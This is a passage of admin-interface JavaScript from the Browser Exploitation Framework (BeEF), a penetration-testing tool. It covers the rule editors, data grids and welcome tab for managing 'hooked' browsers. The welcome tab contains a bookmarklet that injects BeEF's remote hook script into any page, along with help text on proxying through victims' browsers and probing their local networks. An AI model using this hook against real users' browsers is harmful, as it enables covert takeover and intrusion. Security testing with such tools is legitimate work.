data['hooked-browsers']['offline']) { if (data['hooked-browsers']['offline'][k].session === sess) { id = data['hooked-browsers']['offline'][k].id; } } } }, error: function(){ commands_statusbar.update_fail("Error getting hb id"); } }); return id; }, /** * Get hooked browser info from ID */ get_info_from_id: function(id) { var info = {}; jQuery.ajax({ type: 'GET', url: "/api/hooks/?token=" + this.get_rest_token(), async: false, processData: false, success: function(data){ for (var k in data['hooked-browsers']['online']) { if (data['hooked-browsers']['online'][k].id === id) { info = data['hooked-browsers']['online'][k]; } } if (jQuery.isEmptyObject(info)) { for (var k in data['hooked-browsers']['offline']) { if (data['hooked-browsers']['offline'][k].id === id) { info = data['hooked-browsers']['offline'][k]; } } } }, error: function(){ commands_statusbar.update_fail("Error getting hb ip"); } }); console.log(info); return info; } }; window.beefwui = BeefWUI; } ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/AutoRunModuleForm.js ================================================ loadModuleInfo = async function(token, moduleId, moduleName) { try { // If all we have is the name then we need to get the ID first. if (moduleId === undefined) { const searchResponse = await fetch(`/api/modules/search/${moduleName}?token=${token}`); if (!searchResponse.ok) { throw new Error(`Getting auto run rules failed with status ${searchResponse.status}`); } const searchData = await searchResponse.json(); if (typeof searchData.id === 'number') { moduleId = searchData.id; } else { throw new Error("Searching module name failed."); } } const infoResponse = await fetch(`/api/modules/${moduleId}?token=${token}`); const infoData = await infoResponse.json(); if (!infoData) { throw new Error(`Module with name ${moduleName} and ID ${moduleId} couldn't be retrived.`); } // Set the module Id incase we need it later. infoData.id = moduleId; return infoData; } catch(error) { console.error(error); console.error("Failed to get module information."); return null; } } /** * Form that displays fields for a module. * * moduleData: The object definition of this moduleData from the Auto Run Engine. * deleteFn: callback function to delete this moduleData. * moveUp: moves the module up one spot in the Auto Run execution order. * moveDown: moves the module down one spot in the Auto Run exection order. */ AutoRunModuleForm = function(moduleData, deleteFn, moveUp, moveDown, ruleId, index, moduleList) { const moduleTextAreaId = `rule-${ruleId}-module-textarea-${index}`; const chainModeComboId = `rule-${ruleId}-module-combo-${index}`; const token = BeefWUI.get_rest_token(); const comboStore = new Ext.data.Store({ data: moduleList, reader: new Ext.data.JsonReader({ fields: ['id', 'name'], }), proxy: new Ext.data.MemoryProxy(moduleList) }); const moduleSelect = new Ext.form.ComboBox({ fieldLabel: 'Change Module', store: comboStore, queryMode: 'local', displayField: 'name', valueField: 'id', editable: false, // Disable manual editing of the field forceSelection: true, // Force selection from the list triggerAction: 'all', typeAhead: true, listeners: { select: async function(combo) { const selectedModuleId = combo.getValue() const moduleInfo = await loadModuleInfo(token, selectedModuleId, undefined); if (!moduleInfo) { console.error("Failed to load new module."); return; } // Update the module data to reflect the new module. moduleData.name = moduleInfo.name; moduleData.condition = moduleInfo.condition ? moduleInfo.condition : null; moduleData.options = {}; for (let i = 0; i < moduleInfo.options.length; i++) { const newOption = moduleInfo.options[i]; moduleData.options[newOption.name] = newOption.value ? newOption.value : ''; } loadModule(moduleInfo); } } }); const moduleOptionsContainer = new Ext.Panel({ title: `Module ${index + 1}`, tbar: [moduleSelect], layout: 'form', border: false, listeners: { afterrender: function() {loadModule(undefined)} } }); async function loadModule(moduleInfo) { if (!moduleInfo) moduleInfo = await loadModuleInfo(token, undefined, moduleData.name); if (!moduleInfo) { moduleOptionsContainer.update("

    Failed to load module information.

    "); return; } // Update the combobox default value to be this module. // Can't use the moduleData name since it doesn't match the ID. moduleSelect.setValue(moduleInfo.id); // Setup module form elements. Remove all incase we're switching from a different module. moduleOptionsContainer.removeAll(); moduleOptionsContainer.add(new Ext.form.DisplayField({ fieldLabel: 'Module Name', value: moduleInfo.name })) moduleOptionsContainer.add(new Ext.form.DisplayField({ fieldLabel: 'Module Author', value: moduleInfo.author ? moduleInfo.author : 'anonymous' })) for (let i = 0; i < moduleInfo.options.length; i++) { const inputField = generate_form_input_field( moduleOptionsContainer, moduleInfo.options[i], moduleData.options[moduleInfo.options[i].name], false, {session: `${moduleInfo.name}-module-${index}-field-${i}`} ); // Ensure any changes to the element are reflected in the newRule object. // When the user saves the rule the whole newRule object will be saved, // including any changes made to these input fields. inputField.on('change', function(_inputF, newValue, oldValue) { moduleData.options[moduleInfo.options[i].name] = newValue; }); }; moduleOptionsContainer.doLayout(); } const buttonContainer = new Ext.Container({ layout: { type: 'hbox', pack: 'end', }, items: [ { xtype: 'button', text: 'Delete', handler: deleteFn, },{ xtype: 'button', text: 'Move Forward', handler: moveUp, disabled: moveUp == undefined, },{ xtype: 'button', text: 'Move Back', handler: moveDown, disabled: moveDown == undefined, } ] }); AutoRunModuleForm.superclass.constructor.call(this, { items: [ moduleOptionsContainer, buttonContainer ] }); }; Ext.extend(AutoRunModuleForm, Ext.Container, {}); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/AutoRunRuleForm.js ================================================ const areNotificationUpdateTest = { "name": "Display an alert-----", "author": "mgeeky", "modules": [ { "name": "alert_dialog", "condition": null, "options": { "text":"You've been BeEFed ;>" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "nested-forward" }; /** * Form for the user to read, update and delete a specific Auto Run rule. * * rule: The object definition of this rule from the Auto Run Engine. * modules: The list of all commands/modules that the user can choose from. * deleteFn: callback function to delete this rule. * updateFn: callback function to update this rule. */ AutoRunRuleForm = function(rule, modules, deleteFn, updateFn) { const self = this; const ruleTextFieldId = `rule-name-${rule.id}`; const chainModeComboId = `rule-chain-mode-${rule.id}`; const newRule = JSON.parse(JSON.stringify(rule)); newRule.modules = JSON.parse(newRule['modules']); newRule.execution_delay = JSON.parse(newRule['execution_delay']); newRule.execution_order = JSON.parse(newRule['execution_order']); const moduleContainer = new Ext.Container({ style: { padding: '10 10 10 10', }, listeners: { afterrender: setupModuleForms } }); function reorderModule(index, direction) { // Rearrange modules into new order. const currentModule = newRule.modules[index]; const newIndex = direction === 'back' ? index + 1 : index - 1; newRule.modules.splice(index, 1); newRule.modules.splice(newIndex, 0, currentModule); // Update DOM. setupModuleForms(); moduleContainer.doLayout(); } function removeModule(index) { // Remove element from execution_order and execution_delay arrays. newRule.modules.splice(index, 1); newRule.execution_delay.splice(index, 1); // Update DOM. setupModuleForms(); moduleContainer.doLayout(); } function addModule() { // New module is a copy of the last module. newRule.modules.push(newRule.modules[newRule.modules.length - 1]); newRule.execution_delay.push(newRule.execution_delay[newRule.execution_delay.length - 1]); // Update DOM. setupModuleForms(); moduleContainer.doLayout(); } function setupModuleForms() { moduleContainer.removeAll(true); // I think execution order should always be sequential. // The actual order comes from the modules array. for (let i = 0; i < newRule.modules.length; ++i) { const isFirstModule = i === 0; const isLastModule = i >= newRule.modules.length - 1; moduleContainer.add(new AutoRunModuleForm( newRule.modules[i], function() {removeModule(i)}, isFirstModule ? undefined : function() {reorderModule(i, 'forward')}, isLastModule ? undefined : function() {reorderModule(i, 'back')}, rule.id, i, modules )); } } function handleUpdateRule() { // TODO: Need to overwrite module order. const form = self.getForm(); const formValues = form.getValues(); const updatedRule = { ...newRule, name: formValues[ruleTextFieldId], chain_mode: formValues[chainModeComboId], execution_order: [...Array(newRule.modules.length).keys()], }; updateFn(updatedRule); } AutoRunRuleForm.superclass.constructor.call(this, { padding:'10 10 10 10', title: `Rule ${rule.id}`, items: [{ xtype: 'textfield', id: ruleTextFieldId, value: rule.name ? rule.name : '', fieldLabel: 'Name', }, { xtype: 'displayfield', fieldLabel: 'Author', value: rule.author ? rule.author : 'anonymous', },{ xtype: 'displayfield', fieldLabel: 'Browser(s)', value: rule.browser ? rule.browser : 'All', },{ xtype: 'displayfield', fieldLabel: 'Browser version(s)', value: rule.browser_version ? rule.browser_version : 'All', },{ xtype: 'displayfield', fieldLabel: 'OS(s)', value: rule.os ? rule.os : 'All', },{ xtype: 'displayfield', fieldLabel: 'OS version(s)', value: rule.os_version ? rule.os_version : 'All', }, moduleContainer, { xtype: 'button', text: 'Add Module', handler: addModule }, { xtype: 'combo', id: chainModeComboId, fieldLabel: 'Chain Mode', store: ['sequential', 'nested-forward'], queryMode: 'local', // Use local data. triggerAction: 'all', // Show both options instead of just the default. editable: false, // Disable manual text input. forceSelection: true, value: rule.chain_mode ? rule.chain_mode : 'sequential' },{ xtype: 'displayfield', fieldLabel: 'Execution Order', value: newRule.execution_order ? JSON.stringify(newRule.execution_order) : 'undefined', },{ xtype: 'displayfield', fieldLabel: 'Execution Delay', value: newRule.execution_delay ? JSON.stringify(newRule.execution_delay) : 'undefined', } ], buttons: [{ text: 'Delete', handler: deleteFn }, { text: 'Save', handler: handleUpdateRule }], border: false, closable: false }); }; Ext.extend(AutoRunRuleForm, Ext.FormPanel, {}); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/AutoRunTab.js ================================================ const defaultRule = { "name": "Display an alert", "author": "mgeeky", "modules": [ { "name": "alert_dialog", "condition": null, "options": { "text":"You've been BeEFed ;>" } } ], "execution_order": [0], "execution_delay": [0], "chain_mode": "nested-forward" }; /** * Asynchronously returns the currently active rules in an array. * Empty array means no rules are active. * null if there was an error. */ getCurrentRules = async function(token) { try { var res = await fetch(`/api/autorun/rules?token=${token}`); if (!res.ok) { throw new Error(`Getting auto run rules failed with status ${res.status}`); } const data = await res.json(); const rules = JSON.parse(data.rules); if (data.success === true && Array.isArray(rules)) { return rules; } console.log("No active auto run rules."); return []; } catch(error) { console.error(error); console.error("Failed to get auto run rules."); return null; } } getModules = async function(token) { try { var res = await fetch(`/api/modules?token=${token}`); if (!res.ok) { throw new Error(`Getting auto run rules failed with status ${res.status}`); } const modules = await res.json(); return modules; } catch(error) { console.error(error); console.error("Failed to get auto run rules."); return null; } } AutoRunTab = function() { // RESTful API token. var token = BeefWUI.get_rest_token(); // Heading container to describe general Auto Run state. var ruleLoadingState = new Ext.Container({ html: "

    Loading Auto Run rules...

    ", }) var headingContainer = new Ext.Panel({ style: { font: '11px tahoma,arial,helvetica,sans-serif' }, padding:'10 10 10 10', border: false, items: [{ xtype: 'container', html: '\
    \

    Auto Run Rules

    \

    These determine what commands run automatically when a browser is hooked.

    \
    ' }, ruleLoadingState, { xtype: 'button', text: 'Add New Rule', handler: addRule }], listeners: { afterrender: loadRules } }); // Contains all of the rules and inputs to change each rule. var ruleContainer = new Ext.Panel({ border: false, listeners: { afterrender: loadRules } }); async function deleteRule(id) { const res = await fetch(`/api/autorun/rule/${id}?token=${token}`, {method: 'DELETE'}); if (!res.ok) { console.error(`Failed when deleting rule with id ${id}. Failed with status ${res.status}.`); return; } // Update the entire rules panel. Not very efficient. loadRules(); } async function addRule() { const res = await fetch(`/api/autorun/rule/add?token=${token}`, { method: 'POST', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(defaultRule) }); if (!res.ok) { console.error(`Failed when adding a new rule with status ${res.status}.`); return; } // Update the entire rules panel. Not very efficient. loadRules(); } async function updateRule(id, newRuleData) { const res = await fetch(`/api/autorun/rule/${id}?token=${token}`, { method: 'PATCH', headers: {'Content-Type': 'application/json'}, body: JSON.stringify(newRuleData) }); if (!res.ok) { console.error(`Failed when adding a new rule with status ${res.status}.`); return; } // Update the entire rules panel. Not very efficient. loadRules(); } async function loadRules() { let modules = []; let rules = []; try { modules = await getModules(token); rules = await getCurrentRules(token); } catch (error) { console.error(error); console.error("Failed to load command modules and/or rules for Auto Run."); ruleLoadingState.update("

    Failed to load Auto Run rules.

    "); return; } if (rules !== null) { ruleLoadingState.update(`

    Loaded ${rules.length} Auto Run rules.

    `); ruleContainer.removeAll(); for (let i = 0; i < rules.length; i++) { ruleForm = new AutoRunRuleForm( rules[i], modules, function() {deleteRule(rules[i].id)}, function(newRuleData) {updateRule(rules[i].id, newRuleData)} ); ruleContainer.add(ruleForm); } ruleContainer.doLayout(); } else { ruleLoadingState.update("

    Failed to load Auto Run rules.

    "); } } AutoRunTab.superclass.constructor.call(this, { region: 'center', items: [headingContainer, ruleContainer], autoScroll: true, border: false, closable: false }); }; Ext.extend(AutoRunTab, Ext.Panel, {}); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/BrowserDetailsDataGrid.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // BrowserDetailsDataGrid = function(url, page, base) { this.page = page; this.url = url; this.base = typeof(base) != 'undefined' ? base : {}; // RESTful API token var token = BeefWUI.get_rest_token(); this.store = new Ext.ux.data.PagingJsonStore({ root: 'details', autoDestroy: true, autoLoad: true, proxy: new Ext.data.HttpProxy({ method: 'GET', url: url + '?token=' + token }), storeId: 'details-store', baseParams: this.base, idProperty: 'id', fields: ['key','value', 'source'], totalProperty: 'count', remoteSort: false, sortInfo: {field: "key", direction: "ASC"} }); this.bbar = new Ext.PagingToolbar({ pageSize: this.page, store: this.store, displayInfo: true, displayMsg: 'Displaying zombie browser details {0} - {1} of {2}', emptyMsg: 'No zombie browser data to display' }); this.columns = [{ id: 'details-key', header: 'Key', dataIndex: 'key', sortable: true, width: 40, renderer: function(value) { return $jEncoder.encoder.encodeForHTML(value); } }, { id: 'details-value', header: "Value", dataIndex: 'value', sortable: true, width: 60, renderer: function(value) { return $jEncoder.encoder.encodeForHTML(value); } }, ]; BrowserDetailsDataGrid.superclass.constructor.call(this, { region: 'center', id: 'topic-grid', loadMask: {msg:'Loading Feed...'}, sm: new Ext.grid.RowSelectionModel({ singleSelect: true }), viewConfig: { forceFit: true }, listeners: { afterrender: function(datagrid) { datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:"key", dir:"ASC"}}); }, rowclick: function(grid, rowIndex) { var r = grid.getStore().getAt(rowIndex).data; }, containercontextmenu: function(view, e) { e.preventDefault(); }, } }) // BrowserDetailsDataGrid.superclass } Ext.extend(BrowserDetailsDataGrid, Ext.grid.GridPanel, {}); Ext.override(Ext.PagingToolbar, { doRefresh: function() { delete this.store.lastParams; this.doLoad(this.cursor); } }); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/HooksTab.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // HooksTab = function() { /* * The panel used to configure the hook. ********************************************/ var hooks_panel = new Ext.FormPanel({ title: 'Hooks', id: 'hooks-panel', hideLabels : false, border: false, padding: '3px 5px 0 5px', items:[{ fieldLabel: 'Text', xtype: 'textarea', id: 'inputText', name: 'inputText', width: '100%', height: '40%', allowBlank: true },{ fieldLabel: 'Result', xtype: 'textarea', id: 'resultText', name: 'resultText', width: '100%', height: '40%', allowBlank: true }], buttons: [{ text: 'Add Hook', handler: function() { var form = Ext.getCmp('hooks-panel').getForm(); var form_values = form.getValues(); var input_text = form_values['inputText']; var result=""; form.setValues({resultText: result}); } },{ text: 'Delete Hook', handler: function() { var form = Ext.getCmp('hooks-panel').getForm(); var form_values = form.getValues(); var input_text = form_values['inputText']; var result=""; form.setValues({resultText: result}); } }] }); HooksTab.superclass.constructor.call(this, { region: 'center', items: [hooks_panel], autoScroll: true, border: false }); }; Ext.extend(HooksTab,Ext.Panel, {}); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/Logout.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // DoLogout = function() { var button = Ext.get('do-logout-menu'); after_logout = function() { // will redirect the UA to the login window.location.href = '<%= @base_path %>/panel' } button.on('click', function(){ Ext.Ajax.request({ url: '<%= @base_path %>/authentication/logout', method: 'POST', params: 'nonce=' + Ext.get("nonce").dom.value, success: after_logout, failure: after_logout }); }) }; ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/LogsDataGrid.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // LogsDataGrid = function(url, page, base) { this.page = page; this.url = url; this.base = typeof(base) != 'undefined' ? base : {}; // RESTful API token var token = BeefWUI.get_rest_token(); this.store = new Ext.ux.data.PagingJsonStore({ root: 'logs', autoDestroy: true, autoLoad: false, proxy: new Ext.data.HttpProxy({ method: 'GET', url: url + '?token=' + token }), storeId: 'myStore', baseParams: this.base, idProperty: 'id', fields: ['id','type','event','date','hooked_browser_id'], totalProperty: 'count', remoteSort: false, sortInfo: {field: "id", direction: "DESC"} }); this.bbar = new Ext.PagingToolbar({ pageSize: this.page, store: this.store, displayInfo: true, displayMsg: 'Displaying logs {0} - {1} of {2}', emptyMsg: 'No logs to display' }); this.columns = [{ id: 'log-id', header: 'Id', hidden: false, dataIndex: 'id', sortable: true, width: 20 }, { id: 'log-type', header: "Type", dataIndex: 'type', sortable: true, width: 60, renderer: function(value) { return "" + $jEncoder.encoder.encodeForHTML(value) + ""; } }, { id: 'log-event', header: "Event", dataIndex: 'event', sortable:true, width: 420, renderer: function(value){ return $jEncoder.encoder.encodeForHTML(value); } }, { id: 'log-date', header: "Date", dataIndex: 'date', width: 80, renderer: $jEncoder.encoder.encodeForHTML(this.formatDate), sortable:true }, { id: 'log-browser', header: "Browser ID", dataIndex: 'hooked_browser_id', sortable: true, width: 35 }]; LogsDataGrid.superclass.constructor.call(this, { region: 'center', id: 'topic-grid', loadMask: {msg:'Loading Feed...'}, sm: new Ext.grid.RowSelectionModel({ singleSelect:true }), viewConfig: { forceFit:true }, listeners: { afterrender: function(datagrid) { datagrid.store.reload({params:{start:0, limit:datagrid.page, sort:"id", dir:"DESC"}}); } } }); }; Ext.extend(LogsDataGrid, Ext.grid.GridPanel, {}); //Because we're using paging stores now, we have to override the PagingToolbar refresh Ext.override(Ext.PagingToolbar, { doRefresh: function() { delete this.store.lastParams; this.doLoad(this.cursor); } }); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/MainPanel.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // MainPanel = function(){ this.preview = new Ext.Panel({ id: 'preview', region: 'south', cls:'preview', autoScroll: true, listeners: PanelViewer.LinkInterceptor, tbar: [{ id:'tab', text: 'View in New Tab', iconCls: 'new-tab', disabled:true, handler : this.openTab, scope: this }], clear: function(){ this.body.update(''); var items = this.topToolbar.items; items.get('tab').disable(); items.get('win').disable(); } }); this.logs_grid = new LogsDataGrid('/api/logs',30); this.logs_grid.border = false; this.zombies_grid = new ZombieDataGrid('/api/hooks/all', 30); this.zombies_grid.border = false; this.welcome_tab = new WelcomeTab; this.auto_run_tab = new AutoRunTab; MainPanel.superclass.constructor.call(this, { id:'main-tabs', activeTab:0, region:'center', margins:'0 5 5 0', resizeTabs:true, tabWidth:150, minTabWidth: 120, enableTabScroll: true, plugins: new Ext.ux.TabCloseMenu(), items: [{ id:'welcome-view', title:'Getting Started', layout:'border', hideMode:'offsets', closable:true, plain:true, shadow:true, items:[ this.welcome_tab ] },{ id:'logs-view', layout:'border', title:'Logs', hideMode:'offsets', items:[ this.logs_grid ] }, { id:'zombies-view', layout:'border', title:'Zombies', hideMode:'offsets', items:[ this.zombies_grid ] }, { id:'autorun-view', title:'Auto Run', layout:'border', hideMode:'offsets', items:[ this.auto_run_tab ] }] }); }; Ext.extend(MainPanel, Ext.TabPanel); Ext.reg('appmainpanel', MainPanel); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/ModuleSearching.js ================================================ /* * Keyword search for command module panel. * Words in query are searched as separated queries. You can search for exact matching using double qoutes arround query */ function search_module(module_tree, query_string) { if ( query_string.search(/\w/) == -1 ) return tree_array; // copy module tree w/o ExtJS service properties var tree_array = new Array(); for ( var i = 0; i < module_tree.length; i++ ) tree_array.push(module_tree[i].attributes); var json_object = jQuery.extend(true, [], tree_array); // split query string into separate words and exact phrases query_string = query_string.replace(/"\s*"/g, " ").replace(/\s+/g, " ").match(/"[^"]+"|\S+/g); query_string.forEach(prepare_query_string); var result = json_object.filter(form_new_modules_tree); result.forEach(recount_modules_and_expand_directories); return result; // remove quotes from phrases for exact match function prepare_query_string(string, index, array){ array[index] = string.toLowerCase().replace(/"/g, ""); } // True if this.toString() contains str function check_module_name(str) { return Boolean(this.toString().toLowerCase().replace(/\s\([0-9]+\)/g,"").indexOf(str) + 1); } // func for JSON filter // Build a new tree from modules which are appropriate for any part of query function form_new_modules_tree(element) { if ( query_string.some(check_module_name, element.text) ) return true; if ( element.children ) { element.children = element.children.filter(form_new_modules_tree); return Boolean(element.children.length); } return false; } function recount_modules_and_expand_directories(element) { if ( element.children ) { element.expanded = true; var modules_in_directory = element.children.length; // visit all for ( var i = 0; i < element.children.length; i++ ) if ( element.children ) modules_in_directory += recount_modules_and_expand_directories(element.children[i]); // expand them element.children.forEach(recount_modules_and_expand_directories); // and set new number of modules in directory element.text = element.text.replace(/([-_ 0-9a-zA-Z]+)\(([0-9]+)\)/, "$1(" + modules_in_directory + ")") return modules_in_directory - 1; } return 0; } } ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/PanelStatusBar.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* * The Beef_StatusBar class provides the functionality of the status bar * at the bottom of each tab in the UI * * @param: {String} unique string for setting the status bar id. * */ Beef_StatusBar = function(unique_id) { var update_fail_wait = 2000; // delay before showing ready status var update_sent_wait = 1000; // delay before showing ready status Beef_StatusBar.superclass.constructor.call(this, { id: 'commands-bbar-zombie-' + unique_id, // defaults to use when the status is cleared: defaultText: 'Ready', defaultIconCls: 'x-status-valid', // values to set initially: text: 'Ready', iconCls: 'x-status-valid', // update status bar to ready update_ready: function(str) { var display_str = str || "Ready"; this.setStatus({ text: display_str, iconCls: 'x-status-valid' }); }, // update status bar to fail update_fail: function(str){ var display_str = str || "Error!"; this.setStatus({ text: display_str, iconCls: 'x-status-error', clear: { wait: update_fail_wait, anim: true, useDefaults: true } }); }, // update status bar to sending update_sending: function(str) { var display_str = str || "Sending..."; this.showBusy(display_str); }, // update status bar to sent update_sent: function(str) { var display_str = str || "Sent"; this.setStatus({ text: display_str, iconCls: 'x-status-valid', clear: { wait: update_sent_wait, anim: true, useDefaults: true } }); } }); }; Ext.extend(Beef_StatusBar, Ext.ux.StatusBar, {} ); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/PanelViewer.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // PanelViewer = {}; var mainPanel, zombiesTreeLists, zombieTabs, zombiesManager; Ext.onReady(function() { Ext.QuickTips.init(); zombiesTreeLists = { 'basic' : new zombiesTreeList('basic'), 'requester' : new zombiesTreeList('requester') }; zombieTabs = new ZombieTabs(zombiesTreeLists); zombiesManager = new ZombiesMgr(zombiesTreeLists); mainPanel = new MainPanel(); var viewport = new Ext.Viewport({ layout:'border', items:[ new Ext.BoxComponent({ region:'north', el: 'header', height: 32 }), zombieTabs, mainPanel ] }); setTimeout("locationHashChanged()", 1000); new DoLogout(); }); /* * Panel Events Updater * * This event updater retrieves zombie updates every periodically. * The poll timer is specified in befe.extension.admin_ui.panel_update_interval * These updates are then pushed to various managers (i.e. the zombie manager). */ var lastpoll = new Date().getTime(); Ext.TaskMgr.start({ run: function() { Ext.Ajax.request({ url: '/api/hooks/?token=' + beefwui.get_rest_token(), method: 'GET', success: function(response) { var updates; try { updates = Ext.util.JSON.decode(response.responseText); } catch (e) { //The framework has probably been reset and you're actually logged out var hr = document.getElementById("header-right"); hr.innerHTML = "You appear to be logged out. Login"; } var hooked_browsers = (updates['hooked-browsers']) ? updates['hooked-browsers'] : null; if(zombiesManager && hooked_browsers) { zombiesManager.updateZombies(hooked_browsers); } lastpoll = new Date().getTime(); var hr = document.getElementById("header-right"); hr.innerHTML = ""; }, failure: function(response) { var timenow = new Date().getTime(); if ((timenow - lastpoll) > 60000) { var hr = document.getElementById("header-right"); hr.innerHTML = "Framework is down"; } } }); }, interval: <%= (BeEF::Core::Configuration.instance.get("beef.extension.admin_ui.panel_update_interval") || 10).to_i * 1_000 %> }); /* * Allow selecting a browser with #id= in the /ui/panel URL */ function locationHashChanged() { var id = location_hash('id'); if (id === null) return; var zombie = Object.values(beefwui.hooked_browsers).find(hb => hb.session === id); id = id.replace(/[^a-z0-9]/gi, ''); console.log("Loading hooked browser with ID: " + id); mainPanel.remove(mainPanel.getComponent('current-browser')); if(!mainPanel.getComponent('current-browser')) { mainPanel.add(new ZombieTab(zombie)); } mainPanel.activate(mainPanel.getComponent('current-browser')); //removeHash(); } function location_hash(key) { var matches = location.hash.match(new RegExp(key+'=([^&]*)')); return matches ? matches[1] : null; } function removeHash () { history.pushState("", document.title, window.location.pathname + window.location.search); } window.onhashchange = locationHashChanged; ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/WelcomeTab.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // WelcomeTab = function() { <% hook_url = BeEF::Core::Configuration.instance.hook_url %> var bookmarklet = "javascript:%20(function%20()%20{%20var%20url%20=%20%27<%= hook_url %>%27;if%20(typeof%20beef%20==%20%27undefined%27)%20{%20var%20bf%20=%20document.createElement(%27script%27);%20bf.type%20=%20%27text%2fjavascript%27;%20bf.src%20=%20url;%20document.body.appendChild(bf);}})();" welcome = " \
    \

    BeEF - The Browser Exploitation Framework


    \

    Official website: https://beefproject.com/


    \

    Getting Started


    \

    Welcome to BeEF!


    \

    Before being able to fully explore the framework you will have to 'hook' a browser. To begin with you can point a browser towards the basic demo page here, or the advanced version here.


    \

    If you want to hook ANY page (for debugging reasons of course), drag the following bookmarklet link into your browser's bookmark bar, then simply click the shortcut on another page: Hook Me!


    \

    After a browser is hooked into the framework they will appear in the 'Hooked Browsers' panel on the left. Hooked browsers will appear in either an online or offline state, depending on how recently they have polled the framework.


    \

    Hooked Browsers


    \

    To interact with a hooked browser simply left-click it, a new tab will appear. \ Each hooked browser tab has a number of sub-tabs, described below:


    \
    • Details: Display information about the hooked browser after you've run some command modules.
    • \
    • Logs: Displays recent log entries related to this particular hooked browser.
    • \
    • Commands: This tab is where modules can be executed against the hooked browser. This is where most of the BeEF functionality resides. \ Most command modules consist of Javascript code that is executed against the selected\ Hooked Browser. Command modules are able to perform any actions that can be achieved\ through Javascript: for example they may gather information about the Hooked Browser, manipulate the DOM or perform other activities such as exploiting vulnerabilities within the local network of the Hooked Browser.

      \ Each command module has a traffic light icon, which is used to indicate the following:
        \
      • The command module works against the target and should be invisible to the user
      • \
      • The command module works against the target, but may be visible to the user
      • \
      • The command module is yet to be verified against this target
      • \
      • The command module does not work against this target

      \
    • XssRays: The XssRays tab allows the user to check if links, forms and URI path of the page (where the browser is hooked) is vulnerable to XSS.
    • \
    • Proxy: The Proxy tab allows you to submit arbitrary HTTP requests on behalf of the hooked browser. \ Each request sent by the Proxy is recorded in the History panel. Click a history item to view the HTTP headers and HTML source of the HTTP response.
    • \
    • Network: The Network tab allows you to interact with hosts on the local network(s) of the hooked browser.
    • \
    • WebRTC: Send commands to the victims systems via a zombie specified as the primary WebRTC caller.
    • \

    \

    You can also right-click a hooked browser to open a context-menu with additional functionality:


    \
      \
    • Tunneling Proxy: The Proxy allows you to use a hooked browser as a proxy. Simply right-click a browser from the Hooked Browsers tree to the left and select \"Use as Proxy\". \ The proxy runs on localhost port 6789 by default. Each request sent through the Proxy is recorded in the History panel in the Proxy tab. Click a history item to view the HTTP response headers and response body.
    • \
    • XssRays: XssRays allows the user to check if links, forms and URI path of the page (where the browser is hooked) is vulnerable to XSS. To customize default settings of an XssRays scan, please use the XssRays tab.

    \

    Learn More


    \

    To learn more about how BeEF works please review the wiki:


    \ \
    \
    \ "; welcome = welcome.replace(/__BOOKMARKLETURL__/,bookmarklet); WelcomeTab.superclass.constructor.call(this, { region:'center', padding:'10 10 10 10', html: welcome, autoScroll: true, border: false }); }; Ext.extend(WelcomeTab,Ext.Panel, {}); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/ZombieDataGrid.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // ZombieDataGrid = function(url, page, base) { this.page = page; this.url = url; this.base = typeof(base) != 'undefined' ? base : {}; // RESTful API token var token = BeefWUI.get_rest_token(); this.store = new Ext.ux.data.PagingJsonStore({ root: 'zombies', autoDestroy: true, autoLoad: true, proxy: new Ext.data.HttpProxy({ method: 'GET', url: url + '?token=' + token }), storeId: 'zombies-store', baseParams: this.base, idProperty: 'id', fields: ['id','session', 'ip','domain','port','name','version', 'os', 'os_version', 'firstseen', 'lastseen'], totalProperty: 'count', remoteSort: false, sortInfo: {field: "id", direction: "ASC"} }); this.bbar = new Ext.PagingToolbar({ pageSize: this.page, store: this.store, displayInfo: true, displayMsg: 'Displaying zombies {0} - {1} of {2}', emptyMsg: 'No zombies to display' }); this.columns = [{ id: 'zombie-id', header: 'ID', hidden: false, dataIndex: 'id', sortable: true, width: 10 }, { id: 'zombie-session', header: "Session", dataIndex: 'session', sortable: true, hidden: true, width: 20, renderer: function(value) { return $jEncoder.encoder.encodeForHTML(value); } }, { id: 'zombie-ip', header: "IP", dataIndex: 'ip', sortable: true, width: 20, renderer: function(value) { return $jEncoder.encoder.encodeForHTML(value); } }, { id: 'zombie-domain', header: "Domain", dataIndex: 'domain', sortable: true, width: 20, renderer: function(value){ return $jEncoder.encoder.encodeForHTML(value); } }, { id: 